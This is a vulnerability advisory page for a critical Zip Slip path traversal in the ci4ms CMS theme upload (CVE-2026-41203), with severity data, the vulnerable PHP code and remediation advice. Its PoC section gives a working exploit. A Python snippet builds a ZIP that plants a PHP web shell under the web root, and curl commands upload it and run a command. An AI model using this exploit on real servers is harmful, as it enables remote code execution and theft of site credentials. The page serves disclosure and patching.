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ci4ms EUVDEUVD-2026-28257

| CVE-2026-41203 CRITICAL
Path Traversal (CWE-22)
2026-04-22 https://github.com/ci4-cms-erp/ci4ms GHSA-xv3r-vr59-95rg
9.4
CVSS 4.0 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
9.4 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

8
Source Code Evidence Fetched
May 07, 2026 - 04:43 vuln.today
Analysis Updated
May 07, 2026 - 04:43 vuln.today
v2 (cvss_changed)
Re-analysis Queued
May 07, 2026 - 04:35 vuln.today
cvss_changed
CVSS changed
May 07, 2026 - 04:35 NVD
9.4 (CRITICAL)
Analysis Generated
Apr 23, 2026 - 06:44 vuln.today
Patch released
Apr 23, 2026 - 02:30 nvd
Patch available
Analysis Generated
Apr 22, 2026 - 17:31 vuln.today
CVE Published
Apr 22, 2026 - 17:29 nvd
CRITICAL

DescriptionGitHub Advisory

Summary

ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

php
public function upload()
{
    $valData = ([
        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('theme');
    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
    $zip = new \ZipArchive();
    if ($zip->open($file->getTempName()) === true) {
        $zip->extractTo($tempPath);     // no entry-name validation
        $zip->close();
    } ...
    $log = install_theme_from_tmp($themeName);
    ...
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

PoC

Build the archive:

python
python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('info.xml', '<theme name=\"x\"/>')
"

Upload through the Theme manager with an authenticated session that has theme create:

bash
curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload

Trigger the shell:

bash
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

AnalysisAI

Remote code execution in ci4ms content management system allows authenticated backend users with theme creation permissions to write arbitrary PHP files via Zip Slip path traversal. A working proof-of-concept demonstrates uploading a malicious theme archive containing path-traversal entries (../../public/shell.php) that bypass extraction directory boundaries, placing executable code under the web root. Vendor-released patch available in version 0.31.5.0. No CISA KEV listing or EPSS data available, but publicly disclosed PoC significantly lowers exploitation barrier for attackers with valid credentials.

Technical ContextAI

This vulnerability exploits a classic Zip Slip pattern (CWE-22: Improper Limitation of a Pathname to a Restricted Directory) in PHP's ZipArchive class. The ci4ms Theme::upload controller method in modules/Theme/Controllers/Theme.php directly calls ZipArchive::extractTo() without validating archive entry names. When extracting a ZIP file, the method fails to check if entry paths like ../../public/shell.php resolve outside the intended writable/tmp/ destination. The CodeIgniter 4-based CMS framework accepts uploads at the POST backend/themes/themesUpload endpoint, restricted to authenticated users holding the theme create role. The vendor correctly implemented path validation using realpath and regex checks in modules/Methods/Controllers/Methods.php for a different upload handler, but omitted the same safeguard in the Theme module. The affected package is identified as pkg:composer/ci4-cms-erp_ci4ms, a PHP-based enterprise content management system built on CodeIgniter 4.

RemediationAI

Upgrade immediately to ci4ms version 0.31.5.0 or later, which includes validated path-traversal protections for ZIP extraction in both Theme::upload and the companion Backup::restore functionality (tracked separately as GHSA-xp9f-pvpc-57p4). The patch release is available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0 and via Composer package update. The vendor advisory at https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg provides full disclosure and remediation guidance. If immediate patching is not feasible, restrict theme creation permissions to only absolutely trusted administrators and audit existing theme uploads for suspicious .zip archives. Monitor the writable/tmp/ directory and public web root for unexpected PHP files. Disable the theme upload functionality entirely by removing or commenting the route binding in modules/Theme/Config/Routes.php (POST backend/themes/themesUpload), though this breaks legitimate theme management workflows. Implement web application firewall rules to block POST requests to /backend/themes/themesUpload from untrusted networks, recognizing this only reduces attack surface and does not eliminate the vulnerability for authenticated insiders. None of these workarounds provide complete protection; upgrading to 0.31.5.0 is the only definitive fix.

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EUVD-2026-28257 vulnerability details – vuln.today

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